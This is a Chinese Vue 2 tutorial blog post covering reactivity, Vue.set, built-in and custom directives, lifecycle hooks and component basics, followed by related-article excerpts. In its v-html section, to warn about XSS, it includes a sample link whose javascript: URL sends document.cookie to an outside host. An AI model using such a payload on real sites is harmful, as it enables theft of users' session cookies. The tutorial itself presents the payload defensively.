Vue 技术进阶 day2 数据监视的原理、其他内置指令、自定义指令、生命周期、组件化、VueComponent构造函数

news2024/12/26 11:14:41

目录

 1.Vue监测数据的原理

1.1 原理

1.1.1 数据劫持

1.1.2 观察者模式(Vue内部的实现)

1.1.3 更新组件

1.1.4 计算属性和侦听器

1.2 后添加属性做响应式(Vue.set / vm.$set)

1.3 对象和数组的响应式

1.4 数据监视案例

2.指令

2.1 内置指令

2.1.1 v-text 指令

2.1.2 v-html 指令

2.1.3 v-cloak 指令

2.1.4 v-once 指令

2.1.5 v-pre 指令

2.2 自定义指令

2.2.1 自定义指令案例

2.2.2 自定义指令总结

3.生命周期

3.1 什么是生命周期?

3.2 分析生命周期

3.3 生命周期的总结 

4.Vue 组件化编程

4.1 模块与组件、模块化与组件化

4.1.1 模块

4.1.2 组件

4.1.3 模块化

4.1.4 组件化

4.2 文件组件

4.2.1 非单文件组件

4.2.2 单文件组件

4.3 组件的基本使用

4.4 需要注意的点            

4.5 组件的嵌套

4.6 VueComponent 构造函数

4.6.1 关于VueComponent构造函数

4.6.2 关于VueComponent 和 Vue的内置关系


 1.Vue监测数据的原理

1.1 原理

(...)就是有响应式数据绑定的属性

Vue.js是一个用于构建用户界面的渐进式框架,其核心特性之一是响应式数据绑定(因此修改之后会解析模版,使得页面重新渲染)。Vue的响应式原理主要基于数据劫持和发布-订阅模式。以下是Vue监测数据变化的详细原理介绍:

1.1.1 数据劫持

数据劫持:可以理解为拿到数据,对数据进行提供getter和setter封装的操作。

Vue通过“数据劫持”来实现响应式系统。具体过程如下:

  • Object.defineProperty:Vue在初始化数据时,会使用Object.defineProperty方法将数据对象的属性转换为 getter 和 setter。当我们访问属性值时,会触发 getter,当我们设置属性值时,则会触发 setter。

    // 示例代码
    const data = { name: 'Vue' };
    Object.defineProperty(data, 'name', {
        get: function() {
            console.log('Getting name:', this);
            return this._name;
        },
        set: function(newValue) {
            console.log('Setting name:', newValue);
            this._name = newValue;
        }
    });
    
  • 嵌套对象处理:对于嵌套对象,Vue会递归调用Object.defineProperty将每个属性都设置为响应式。这样,深层嵌套的属性也能被监测到。

1.1.2 观察者模式(Vue内部的实现)

观察者模式:可以理解为给属性加上监视功能,记录属性是否被更改,而且也会记录用到该属性的地方。

vue会监视data中所有层次的数据。

Vue通过观察者模式(Observer pattern)实现了数据变化的监测:

  • Dep(依赖收集):每个被监测的属性都有一个 Dep 实例。这个实例用于收集依赖于该属性的所有观察者(即使用到这个属性的组件)。

  • Watcher:每个使用该属性的组件或实例都会创建一个 Watcher 实例。在组件渲染的过程中,Watcher 会注册自身到相关的 Dep 中。

    class Dep {
        constructor() {
            this.subscribers = []; // 存储观察者
        }
        addSub(watcher) {
            this.subscribers.push(watcher);
        }
        notify() {
            this.subscribers.forEach(watcher => watcher.update()); // 通知所有观察者
        }
    }
    

1.1.3 更新组件

更新组件:当属性被修改时,也就是触发setter,就会通知依赖该属性,完成模版的重新渲染。

当我们通过 setter 修改了一个属性的值时,会触发该属性的 setter。在这里,Vue会调用 Dep.notify() 方法,通知所有依赖于该属性的 Watcher 实例。

  • Watcher.update:当Watcher接收到通知时,会调用它的update()方法,触发组件重新渲染。

1.1.4 计算属性和侦听器

计算属性和侦听器也是响应式数据绑定

  • 计算属性:Vue的计算属性也是基于响应式系统实现的。计算属性的 getter 会自动地将需要依赖的数据加入到依赖列表中。

  • 侦听器:侦听属性变化的机制则是Vue的另一个重要特性。侦听器通过vm.$watch方法来监听数据变化,当数据变化时,会执行对应的方法。

1.2 后添加属性做响应式(Vue.set / vm.$set)

Vue.set 和 vm.$set 是 Vue 提供的方法,用于向某个对象添加新的属性或向数组中添加新的元素,并确保该属性或元素是响应式的。

特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

问题:直接在对象或者数组新增数据,发现页面并不会显示该数据,就是因为该数据没有响应式,

Vue没有管理该数据。

响应式处理:

  • (1).对象中后追加的属性,Vue默认不做响应式处理
  • (2).如需给后添加的属性做响应式,请使用如下API:
    • Vue.set(target,propertyName/index,value) 
    • vm.$set(target,propertyName/index,value)

特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

1.3 对象和数组的响应式

1. 如何监测对象中的数据?


通过setter实现监视,且要在new Vue时就传入要监测的数据。对象中后追加的属性,Vue默认不做响应式处理。

2. 如何监测数组中的数据?

问题:

从下图可以看出,friends是一个数组,数组里面的元素并不会像对象那样,拥有响应式,也就是Vue提供的Setter和Getter方法,因此往数组里面添加数据,会发现页面并没有展示出来,但是后台却可以看到存在该数据。那是因为Vue并不会把这定义为你对数组的修改。下面将解决这个问题。

解决问题:


通过包裹数组更新元素的方法实现,本质就是做了两件事:

  • (1).调用原生对应的方法对数组进行更新。才会被Vue识别为更改,给予响应式数据处理。
  • (2).重新解析模板,进而更新页面。

方式一:

Vue 将被侦听的数组的变更方法进行了包裹(也就是对数组的方法进一步封装),所以它们也将会触发视图更新。

这些被包裹过的方法包括:

特点:这几个方法都会改变原数组。

方式二:

变更方法,顾名思义,会变更调用了这些方法的原始数组。相比之下,也有非变更方法,例如 filter()concat() 和 slice()。它们不会变更原始数组,而总是返回一个新数组。当使用非变更方法时,可以用新数组替换旧数组,这样Vue才会识别数组的修改。

方式三:

运用Vue.set / vm.$set)

1.4 数据监视案例

点击按键实现功能:

<!DOCTYPE html>
<html>

<head>
	<meta charset="UTF-8" />
	<title>总结数据监视</title>
	<style>
		button {
			margin-top: 10px;
		}
	</style>
	<!-- 引入Vue -->
	<script type="text/javascript" src="./vue.js"></script>
</head>

<body>
	<!-- 准备好一个容器-->
	<div id="root">
		<h1>学生信息</h1>
		<button @click="student.age++">年龄+1岁</button> <br />
		<button @click="addSex">添加性别属性,默认值:男</button> <br />
		<button @click="student.sex = '未知' ">修改性别</button> <br />
		<button @click="addFirstFriend">在列表首位添加一个朋友</button> <br />
		<button @click="updateFitstFriendName">修改第一个朋友的名字为:张三</button> <br />
		<button @click="addOneHobby">添加一个爱好</button> <br />
		<button @click="updateOneHobby">修改第一个爱好为:开车</button> <br />
		<button @click="filterSmoke">过滤掉爱好中的抽烟</button> <br />
		<h3>姓名:{{student.name}}</h3>
		<h3>年龄:{{student.age}}</h3>
		<h3 v-if="student.sex">性别:{{student.sex}}</h3>
		<h3>爱好:</h3>
		<ul>
			<li v-for="(h,index) in student.hobby" :key="index">
				{{h}}
			</li>
		</ul>
		<h3>朋友们:</h3>
		<ul>
			<li v-for="(f,index) in student.friends" :key="index">
				{{f.name}}--{{f.age}}
			</li>
		</ul>
	</div>
</body>

<script type="text/javascript">
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

	const vm = new Vue({
		el: '#root',
		data: {
			student: {
				name: 'tom',
				age: 18,
				hobby: ['抽烟', '喝酒', '烫头'],
				friends: [
					{ name: 'jerry', age: 35 },
					{ name: 'tony', age: 36 }
				]
			}
		},
		methods: {
			addSex() {
				this.$set(this.student, 'sex', '男')
			},
			addFirstFriend() {
				this.student.friends.unshift({ name: 'linhan', age: 22 })
			},
			updateFitstFriendName() {
				this.student.friends.splice(0, 1, { name: '张三', age: 22 })
			},
			addOneHobby() {
				this.student.hobby.unshift('打台球')
			},
			updateOneHobby() {
				this.student.hobby.splice(0, 1, '开车')
			},
			filterSmoke() {
				// 这里注意需要重新赋值,Vue才会鉴定为数组的修改
				this.student.hobby = this.student.hobby.filter(element => {
					return element != '抽烟'
				})
			}
		}
	})
</script>

</html>

2.指令

2.1 内置指令

2.1.1 v-text 指令

v-text指令:

  • 1.作用:向其所在的节点中渲染文本内容。
  • 2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

注意:比如<div v-text="属性">我是会被替代的内容</div>

2.1.2 v-html 指令


v-html指令:

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

  • (1).v-html会替换掉节点中所有的内容,这一点跟v-text一样,{{xx}}则不会。
  • (2).v-html可以识别html结构。

3.严重注意:v-html有安全性问题!!!!

  • (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
  • (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
  • (3).可以通过Get方式,将网页的Cookie携带到URL的?后面,因此有安全性问题。
     
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-html指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<div>你好,{{name}}</div>
			<div v-html="str"></div>
			<div v-html="str2"></div>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				str:'<h3>你好啊!</h3>',
				// 安全性问题所在
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
			}
		})
	</script>
</html>

2.1.3 v-cloak 指令


v-cloak指令(没有值):

  • 1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  • 2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
     
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak指令</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
		<!-- 引入Vue -->
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		console.log(1)
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

2.1.4 v-once 指令


v-once指令:

  • 1.v-once所在节点在初次动态渲染后,就视为静态内容了。也就是只会调用一次。
  • 2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
     
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

2.1.5 v-pre 指令


v-pre指令:

  • 1.跳过其所在节点的编译过程。
  • 2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre指令</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2 v-pre>Vue其实很简单</h2>
			<h2 >当前的n值是:{{n}}</h2>
			<button @click="n++">点我n+1</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

2.2 自定义指令

2.2.1 自定义指令案例


需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。(用回调函数简单)
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。(必须用配置对象才能实现)

代码:

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8" />
    <title>自定义指令</title>
    <script type="text/javascript" src="./vue.js"></script>
</head>

<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>{{name}}</h2>
        <h2>当前的n值是:<span v-text="n"></span> </h2>
        <!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
        <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
        <button @click="n++">点我n+1</button>
        <hr />
        <input type="text" v-fbind:value="n">
    </div>
</body>

<script type="text/javascript">
    Vue.config.productionTip = false

    //定义全局指令
    /* Vue.directive('fbind',{
        //指令与元素成功绑定时(一上来)
        bind(element,binding){
            element.value = binding.value
        },
        //指令所在元素被插入页面时
        inserted(element,binding){
            element.focus()
        },
        //指令所在的模板被重新解析时
        update(element,binding){
            element.value = binding.value
        }
    }) */

    new Vue({
        el: '#root',
        data: {
            name: '尚硅谷',
            n: 1
        },
        directives: {
            //big函数何时会被调用?
            // 1.指令与元素成功绑定时(一上来), 但是指令所在的元素还没有放入页面。
            // 2.指令所在的模板被重新解析时。
            
            big(element, binding) {
                // console.log('big', this) //注意此处的this是window
                // console.log(binding) //得到对象
                // console.log(element) //得到元素DOM
                // binding 里面的对象包含n的value属性
                element.innerText = binding.value * 10
            },
            fbind: {
                //指令与元素成功绑定时(一上来)
                bind(element, binding) {
                    element.value = binding.value
                },
                //指令所在元素被插入页面时
                inserted(element, binding) {
                    // 这句话只有元素在页面才会起效
                    element.focus()
                },
                //指令所在的模板被重新解析时
                update(element, binding) {
                    element.value = binding.value
                }
            }
        }
    })

</script>

</html>

2.2.2 自定义指令总结

自定义指令总结:

一、定义语法:

(1).局部指令:

new Vue({						
	directives:{
    指令名:配置对象
 }
}) 								
new Vue({
   directives{
     指令名:回调函数
 }
})


(2).全局指令:

Vue.directive(指令名,配置对象)
Vue.directive(指令名,回调函数)

                                                   

二、配置对象中常用的3个回调:

  • (1).bind:指令与元素成功绑定时调用。
  • (2).inserted:指令所在元素被插入页面时调用。
  • (3).update:指令所在模板结构被重新解析时调用。

三、注意事项:

  • 1.指令定义时不加v-,但使用时要加v-;
  • 2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
     

3.生命周期

3.1 什么是生命周期?


生命周期:

  • 1.又名:生命周期回调函数、生命周期函数、生命周期钩子。
  • 2.是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
  • 3.生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
  • 4.生命周期函数中的this指向是vm 或 组件实例对象。

3.2 分析生命周期

分为8个生命周期函数,4对生命周期,分别为 创建 -- 挂载 -- 挂载 -- 销毁。。。

如果想要跟踪每一个生命周期函数的执行情况,可以用debugger,刷新页面就会跳转到该debugger。

代码:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>分析生命周期</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root" :x="n">
			<h2 v-text="n"></h2>
			<h2>当前的n值是:{{n}}</h2>
			<button @click="add">点我n+1</button>
			<button @click="bye">点我销毁vm</button>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			// template:`
			// 	<div>
			// 		<h2>当前的n值是:{{n}}</h2>
			// 		<button @click="add">点我n+1</button>
			// 	</div>
			// `,
			data:{
				n:1
			},
			methods: {
				add(){
					console.log('add')
					this.n++
				},
				bye(){
					console.log('bye')
					this.$destroy()
				}
			},
			watch:{
				n(){
					console.log('n变了')
				}
			},
			beforeCreate() {
				console.log('beforeCreate')
			},
			created() {
				console.log('created')
			},
			beforeMount() {
				console.log('beforeMount')
			},
			mounted() {
				console.log('mounted')
			},
			beforeUpdate() {
				console.log('beforeUpdate')
			},
			updated() {
				console.log('updated')
			},
			beforeDestroy() {
				console.log('beforeDestroy')
			},
			destroyed() {
				console.log('destroyed')
			},
		})
	</script>
</html>

3.3 生命周期的总结 


常用的生命周期钩子:

  • 1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
  • 2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。一般配合this.$destroy()使用,就会调用beforeDestroy生命周期函数。

关于销毁Vue实例:

  • 1.销毁后借助Vue开发者工具看不到任何信息。
  • 2.销毁后自定义事件会失效,但原生DOM事件依然有效。
  • 3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
     

4.Vue 组件化编程

4.1 模块与组件、模块化与组件化

模块和组件其实都是为了能够实现代码的复用性,而且比较好维护。

4.1.1 模块

  • 1. 理解: 向外提供特定功能的 js 程序, 一般就是一个 js 文件
  • 2. 为什么: js 文件很多很复杂
  • 3. 作用: 复用 js, 简化 js 的编写, 提高 js 运行效率

4.1.2 组件

定义:用来实现 局部 功能 效果的代码(html、css、js)和资源(图片、视频)的 集合
作用: 复用编码, 简化项目编码, 提高运行效率。
通过传统的编写方式和组件化的编写方式带来的好处:

4.1.3 模块化

当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。

4.1.4 组件化

当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用,。

4.2 文件组件

4.2.1 非单文件组件

1.定义

非单文件组件通常指将组件的模板、逻辑和样式分散在多个文件中。

2.结构

HTML 模板可以在 HTML 文件中,JavaScript 逻辑可以在单独的 JavaScript 文件中,样式可以在 CSS 文件中定义。

4.2.2 单文件组件

1.定义

单文件组件将模板、脚本和样式集中在一个文件中,通常以 .vue 作为文件扩展名。

2.结构

  • 使用 <template> 标签定义 HTML 模板。
  • 使用 <script> 标签定义 JavaScript 逻辑。
  • 使用 <style> 标签定义样式。

4.3 组件的基本使用

Vue中使用组件的三大步骤:

  • 一、定义组件(创建组件)
  • 二、注册组件
  • 三、使用组件(写组件标签)

 一、如何定义一个组件?

使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;

区别如下:

1.el不要写,为什么?

最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。

2.data必须写成函数,为什么?

避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构。

 二、如何注册组件?


1.局部注册:靠new Vue的时候传入components选项。一般用的比较多。
2.全局注册:靠Vue.component('组件名',组件)。

三、编写组件标签:


 <school></school>
 

代码演示:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="./vue.js"></script>
</head>

<body>
    <div id="root">
        <!-- 3.使用组件 -->
        <school></school>
        <hr>
        <student></student>
        <hr>
        <!-- 可以复用组件 -->
        <school></school>
    </div>

    <script>

        // 1.创建组件
        const school = Vue.extend({
            // el: "#root", 
            template: `
                <div>
                    <h2>学校地址:{{schoolAddress}}</h2>
                    <h2>学校名称:{{schoolName}}</h2>
                </div>
            `,
            data() {
                return {
                    schoolAddress: "广州花都",
                    schoolName: "GGS"
                }
            }
        })

        const student = Vue.extend({
            // el: "#root", 
            template: `
                <div>
                    <h2>学生名字:{{studnetName}}</h2>
                    <h2>学生年龄:{{studentAge}}</h2>
                </div>
            `,
            data() {
                return {
                    studnetName: "小张",
                    studentAge: 23,
                }
            }
        })


        new Vue({
            el: "#root",
            // 2.注册组件
            components: {
                school,
                student
            }
        })

    </script>
</body>

</html>

      

4.4 需要注意的点
            

几个注意点:

1.关于组件名

一个单词组成:

  • 第一种写法(首字母小写):school
  • 第二种写法(首字母大写):School

多个单词组成:

  • 第一种写法(kebab-case命名):my-school
  • 第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)

备注:

  • (1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
  • (2).可以使用name配置项指定组件在开发者工具中呈现的名字。

2.关于组件标签


第一种写法:<school></school>
第二种写法:<school/>
备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。

3.一个简写方式


const school = Vue.extend(options) 可简写为:const school = options,vm会进行判断,

如果没有调用,就帮我们调用。
 

4.5 组件的嵌套

步骤:

  • 1.注册的环境发生更换
  • 2.子组件的标签需要在父组件中的模版进行定义
  • 3.子组件的代码要写在父组件的前面

代码演示:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="./vue.js"></script>
</head>

<body>
    <div id="root">
        <!-- 3.使用组件 -->
        <school></school>
        <hr>
        <!-- 编写嵌套组件 -->
        <!-- <student></student> -->
    </div>

    <script>

        // 创建组件
        const student = Vue.extend({
            template: `
                <div>
                    <h2>学生名字:{{studnetName}}</h2>
                    <h2>学生年龄:{{studentAge}}</h2>
                </div>
            `,
            data() {
                return {
                    studnetName: "小张",
                    studentAge: 23,
                }
            }
        })

        // 1.创建组件
        const school = Vue.extend({
            // 子组件的标签要编写到父组件的模版里面
            template: `
                <div>
                    <h2>学校地址:{{schoolAddress}}</h2>
                    <h2>学校名称:{{schoolName}}</h2>
                    <student></student>
                </div>
            `,
            data() {
                return {
                    schoolAddress: "广州花都",
                    schoolName: "GGS"
                }
            },
            // 子组件需要在父组件里面注册
            components: {
                student
            }
        })


        new Vue({
            el: "#root",
            // 2.注册组件
            components: {
                school
            }
        })

    </script>
</body>

</html>

4.6 VueComponent 构造函数


4.6.1 关于VueComponent构造函数


1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)。

3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

4.关于this指向:

  • (1).组件配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
  • (2).new Vue(options)配置中:data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。

Vue的实例对象,以后简称vm。
 

4.6.2 关于VueComponent 和 Vue的内置关系

  • 1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
  • 2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
  • 3. vc就是小型的vm, vm可以有 el 属性而 vc没有,  其他差别不大。

原型关系图:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2181702.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

threejs三维可视化完全开源案例突破100个了

好激动呀&#xff0c;经过不断努力&#xff0c;三维开源案例&#xff0c;已经突破100个共享 赶快来逛逛吧&#xff01; 官网&#xff1a;https://threelab.cn/ 源码地址&#xff1a;https://github.com/AivoGenX/threelab-threejs-webgpu-vue-js

OkHttp 详细使用步骤,以及异步请求和同步请求

&#x1f604;作者简介&#xff1a; 小曾同学.com,一个致力于测试开发的博主⛽️&#xff0c;主要职责&#xff1a;测试开发、CI/CD 如果文章知识点有错误的地方&#xff0c;还请大家指正&#xff0c;让我们一起学习&#xff0c;一起进步。 &#x1f60a; 座右铭&#xff1a;不…

springboot+vue+elementui大文件分片上传

工具类方法&#xff1a; /*** 大文件分片上传* param fileName 文件名* param file 文件* param fileKey 文件key* param shardIndex 当前分片下标* param shardTotal 分片总量*/public static void bigUpload(String fileName,MultipartFile file, String fileKey, L…

【数据结构】MapSet

【概念】 Map和Set是一种专门用于搜索的数据结构&#xff0c;其搜索效率与具体实例化的子类数量有关&#xff0c;本质上是一颗二叉搜索树 搜索的关键数据为关键字“Key”&#xff0c;关键字对应的数据为值“Value”&#xff0c;将其称为“Key-Value键值对” 【关于Map】 Ma…

8 种渗透测试类型

渗透测试是对网络、硬件或软件系统进行有计划的攻击&#xff0c;目的是揭露可能破坏系统完整性并危及有价值数据的安全缺陷。虽然渗透测试的类型不同&#xff0c;但它们都旨在利用漏洞和弱点来测试现有安全措施的有效性。 渗透测试 不同类型的渗透测试取决于人们希望在特定系…

初识Linux · O(1)调度算法

目录 前言&#xff1a; O(1)调度算法 前言&#xff1a; 在初识进程的那一块&#xff0c;我们已经知道了进程并不是一直占用cpu资源的&#xff0c;而是存在时间片的概念&#xff0c;即&#xff0c;每个进程都有一定的时间来执行该进程&#xff0c;时间一到&#xff0c;该进程…

会议平台后端优化方案

会议平台后端优化方案 通过RTC的学习&#xff0c;我了解到了端对端技术&#xff0c;就想着做一个节省服务器资源的会议平台 之前做了这个项目&#xff0c;快手二面被问到卡着不知如何介绍&#xff0c;便有了这篇文章 分析当下机制 相对于传统视频平台&#xff08;SFU&#xff…

windows 驱动实例分析系列-定时日志的COM驱动

本文章的前置文章为: windows 驱动编写原则 windows COM驱动 案例 windows COM驱动的I/O处理 在前面的设计中,主要是对windows提供的VirtualSerial源代码的讲解,但是那个驱动其实是一个空壳驱动,用于学习的,在I/O处理中,也讲述了serial I/O处理的本质,接下来会将这些…

PGMP-03战略一致性

1.概要 program strategy alignment&#xff1a;战略一致性 2.详细

css的背景background属性

CSS的background属性是一个简写属性&#xff0c;它允许你同时设置元素的多个背景相关的子属性。使用这个属性可以简化代码&#xff0c;使其更加清晰和易于维护。background属性可以设置不同的子属性。 background子属性 定义背景颜色 使用background-color属性 格式&#x…

经典文献阅读之--WiROS(用于机器人的WiFi感知工具箱)

0. 简介 近期的许多研究探索了使用基于WiFi的感知技术来改善SLAM&#xff08;同时定位与地图构建&#xff09;、机器人操控或探索。此外&#xff0c;WiFi的广泛可用性使其成为最具优势的射频信号。但WiFi传感器缺乏一个准确、易处理、多功能的工具箱&#xff0c;这限制了它们与…

MicoZone-Maven

一、理论 Maven 是 Apache 软件基金会组织维护的一款专门为 Java 项目提供项目构建和依赖管理支持的工具。 通过Maven管理依赖的优势&#xff1a; 1、通过在pom.xml中指定jar包坐标即可自动从仓库下载依赖 2、如果jar包存在子依赖会自动下载子依赖包 3、如果jar包之间存在冲突…

Web安全 - 服务端请求伪造SSRF(Server-Side Request Forgery)

文章目录 OWASP 2023 TOP 10SSRF 导图SSRF 概念SSRF的工作原理SSRF攻击场景SSRF防御策略1. 严格验证用户输入2. 禁用或限制对内部网络的访问3. 强制使用外部API代理4. 禁止直接访问敏感资源5. 输入内容长度限制6. 检测和监控7. 确保对HTTP请求的处理安全 SSRF防御实现方案1. 白…

【鸿蒙开发】05 登录Demo解析

文章目录 一、功能介绍 在鸿蒙开发中&#xff0c;一个完善的登录功能是许多应用程序的基础需求。本文将详细介绍一个鸿蒙 App 登录 Demo&#xff0c;包括其功能介绍、代码解析以及代码 demo 的下载地址。 本文初始代码从华为开发者网站下载&#xff0c;根据该Demo进行内容调整。…

【Fast-LIO系列】Fast-LIO、Fast-LIO2、Faster-LIO系列特点分析

【FAST-LIO】Fast-LIO系列特点分析 1. FAST-LIO核心贡献1.将IMU和Lidar特征点紧耦合在一起2.使用反向传播考虑到了运动补偿3. 基于IESKF中的 卡尔曼增益更新 K 2. FAST-LIO2核心贡献(2021年)1. 不用线&#xff0c;面特征点而使用全局点云2. 使用ikd-tree存储点云3. ikd-Tree 3.…

P3131 [USACO16JAN] Subsequences Summing to Sevens S Python题解

[USACO16JAN] Subsequences Summing to Sevens S 题目描述 Farmer John’s N N N cows are standing in a row, as they have a tendency to do from time to time. Each cow is labeled with a distinct integer ID number so FJ can tell them apart. FJ would like to ta…

C语言 | Leetcode C语言题解之第448题找到所有数组中消失的数字

题目&#xff1a; 题解&#xff1a; int* findDisappearedNumbers(int* nums, int numsSize, int* returnSize) {for (int i 0; i < numsSize; i) {int x (nums[i] - 1) % numsSize;nums[x] numsSize;}int* ret malloc(sizeof(int) * numsSize);*returnSize 0;for (in…

特征工程——一门提高机器学习性能的艺术

当前围绕人工智能(AI)和机器学习(ML)展开的许多讨论以模型为中心&#xff0c;聚焦于 ML和深度学习(DL)的最新进展。这种模型优先的方法往往对用于训练这些模型的数据关注不足&#xff0c;甚至完全忽视。类似MLOps的领域正迅速发展&#xff0c;通过系统性地训练和利用ML模型&…

ZYNQ: GPIO 之 MIO 控制 LED 实验

GPIO 之 MIO 控制 LED 实验目的 使用 GPIO 通过两个 MIO 引脚控制 PS 端两个 LED 的亮灭&#xff0c;实现底板上 PS_LED0、PS_LED1 两个 LED 灯同亮同灭的效果。 简介 ZYNQ PS 中的外设&#xff08;如 USB 控制器、UART 控制器、I2C 控制器以及 GPIO 等等&#xff09;可以通…

亲测无限坐席在线客服系统源码/二开版/基于ThinkPHP+搭建教程

源码简介&#xff1a; 亲测了一款实用的无限坐席在线客服系统源码&#xff0c;这可是基于ThinkPHP框架开发的二开版哦&#xff01;里面还附带了一份超详细的搭建教程。 安装过程简直不能更简单&#xff0c;只需一键操作&#xff0c;启动两个端口就搞定了。而且&#xff0c;它…